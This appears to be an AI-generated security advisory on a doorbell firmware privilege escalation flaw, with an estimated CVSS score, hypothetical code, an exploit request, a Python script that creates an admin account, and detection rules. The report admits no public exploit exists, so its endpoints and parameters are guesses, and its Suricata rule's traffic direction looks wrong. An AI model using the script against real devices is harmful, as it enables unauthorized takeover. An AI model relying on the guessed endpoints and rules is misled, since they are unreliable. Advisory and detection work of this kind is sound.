CVE-2025-55627

Executive Summary

CVE-2025-55627 identifies a critical privilege escalation vulnerability in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, specifically in firmware version v3.0.0.4662_2503122283. The flaw stems from insufficient privilege verification, allowing an authenticated attacker to create accounts with elevated privileges. This effectively bypasses the intended role-based access control, potentially granting administrative control to a low-privileged user. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The attack vector requires prior authentication, reducing the immediate remote exploitation risk but posing a significant insider threat or post-compromise escalation path.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an IoT device (Reolink doorbell). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a standard CVSS calculation. However, based on the description and common IoT vulnerability patterns, a reasonable estimated vector would be:

• Attack Vector (AV): Adjacent Network (A) – The attacker must be on the same network as the device or have authenticated access via the local interface.
• Attack Complexity (AC): Low (L) – No special conditions required beyond authentication.
• Privileges Required (PR): Low (L) – The attacker needs a valid low-privilege account.
• User Interaction (UI): None (N) – No user interaction required.
• Scope (S): Unchanged (U) – The vulnerable component is the device itself.
• Confidentiality (C): High (H) – Full access to video feeds and device configuration.
• Integrity (I): High (H) – Ability to modify device settings and firmware.
• Availability (A): High (H) – Potential to brick the device or disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.0 (High)

Threat Level: High. While requiring authentication, the impact is severe as it allows complete device takeover. The lack of a patch makes all devices running this firmware vulnerable.

Deep Dive & Mechanics

The vulnerability lies in the account management API or web interface of the Reolink doorbell firmware. The device likely uses a role-based access control (RBAC) system with roles such as "user" (low privilege) and "admin" (high privilege). The flaw occurs when an authenticated user with a low-privilege role sends a request to create a new account. The server fails to verify that the requesting user has the necessary privileges to create an account with elevated (admin) privileges.

Technical Flow:

1. An attacker authenticates to the device's web interface or API with a low-privilege account (e.g., "viewer").
2. The attacker sends a crafted HTTP POST request to the account creation endpoint (e.g., /api/account/create).
3. The request includes parameters for a new account, such as username, password, and role=admin.
4. The server processes the request without checking if the authenticated user has the "admin" role or the "create_admin" permission.
5. The new admin account is created, granting the attacker full control.

The root cause is a missing or insufficient privilege check in the server-side code. This is a classic example of CWE-269: Improper Privilege Management.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern and the required fix.

Vulnerable Code (Hypothetical Python/Flask):

@app.route('/api/account/create', methods=['POST'])
def create_account():
    data = request.get_json()
    username = data['username']
    password = data['password']
    role = data.get('role', 'user')
    # Missing privilege check
    new_user = User(username=username, password=hash(password), role=role)
    db.session.add(new_user)
    db.session.commit()
    return jsonify({"status": "success"}), 201

Patched Code (Hypothetical):

@app.route('/api/account/create', methods=['POST'])
@require_admin  # Decorator that checks if current user has admin role
def create_account():
    data = request.get_json()
    username = data['username']
    password = data['password']
    role = data.get('role', 'user')
    # Additional check: only admin can create admin accounts
    if role == 'admin' and not current_user.is_admin:
        return jsonify({"error": "Insufficient privileges"}), 403
    new_user = User(username=username, password=hash(password), role=role)
    db.session.add(new_user)
    db.session.commit()
    return jsonify({"status": "success"}), 201

Exploitation & Lab Setup

Red Team

Prerequisites:

• Reolink Smart 2K+ Doorbell with firmware v3.0.0.4662_2503122283.
• A low-privilege account (e.g., "viewer" or "user") on the device.
• Network access to the device's web interface (typically port 80 or 443).

Exploitation Steps:

1. Identify the API endpoint: Use a web proxy (Burp Suite) or browser developer tools to capture traffic when creating a user via the legitimate admin interface. Look for endpoints like /api/account/create or /cgi-bin/api.cgi?cmd=AddUser.
2. Authenticate as low-privilege user: Obtain a session cookie or API token.
3. Craft the exploit request:

   POST /api/account/create HTTP/1.1
   Host: 192.168.1.100
   Cookie: session=lowprivsessiontoken
   Content-Type: application/json
   
   {
     "username": "hackeradmin",
     "password": "P@ssw0rd!",
     "role": "admin"
   }
   

4. Verify: Log in with the new admin account and confirm full access.

Automation Script (Python):

import requests

target = "http://192.168.1.100"
low_priv_session = {"session": "lowprivsessiontoken"}

payload = {
    "username": "hackeradmin",
    "password": "P@ssw0rd!",
    "role": "admin"
}

r = requests.post(f"{target}/api/account/create", cookies=low_priv_session, json=payload)
if r.status_code == 201:
    print("[+] Admin account created successfully!")
else:
    print(f"[-] Failed: {r.text}")

Blue Team

Detection & Prevention:

1. Monitor Account Creation Logs: Enable and review device logs for any account creation events, especially those creating "admin" roles from non-admin sessions.
2. Network Segmentation: Place IoT devices like doorbells on a separate VLAN with strict access controls to limit lateral movement.
3. Honeypot Accounts: Create a dummy low-privilege account and monitor for any attempts to escalate its privileges.
4. Firmware Updates: Although no patch exists, regularly check Reolink's support site for updates.
5. Disable Unused Features: If the doorbell is used only for video, disable the web interface or restrict access to trusted IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/account/create or similar endpoints with role=admin from a non-admin session.
  • Unusual account creation events in device logs.
• Host IOCs:
  • Presence of unexpected admin accounts in the device's user list.
  • Changes to device configuration (e.g., port forwarding, DNS settings) made by the new admin.
• File IOCs:
  • Modified configuration files (e.g., /etc/config/account.conf) containing unauthorized admin entries.

Detection Engineering

YARA Rule

rule CVE_2025_55627_Reolink_PrivEsc {
    meta:
        description = "Detects potential exploitation of CVE-2025-55627 in Reolink doorbell firmware logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55627"
    strings:
        $s1 = "role=admin" ascii wide nocase
        $s2 = "AddUser" ascii wide nocase
        $s3 = "create_account" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: Reolink Doorbell Privilege Escalation Attempt
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects HTTP requests attempting to create an admin account from a low-privilege session on Reolink Smart 2K+ doorbell.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: reolink
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/account/create'
        cs-uri-query: '*role=admin*'
    condition: selection
falsepositives:
    - Legitimate admin creating another admin account (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55627 Reolink Doorbell Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/account/create"; http_uri;
    content:"role=admin"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-55627;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Access: If not required, disable the web interface or restrict access to local network only.
2. Change Default Credentials: Ensure all accounts use strong, unique passwords.
3. Monitor Logs: Regularly review device logs for unauthorized account creation.
4. Network Segmentation: Isolate IoT devices on a separate VLAN.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Reolink that implements proper privilege checks. Contact Reolink support to report the issue and request a timeline.
• Workaround: If the device supports it, disable the account creation API entirely or implement a firewall rule to block POST requests to /api/account/create from non-admin IPs.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.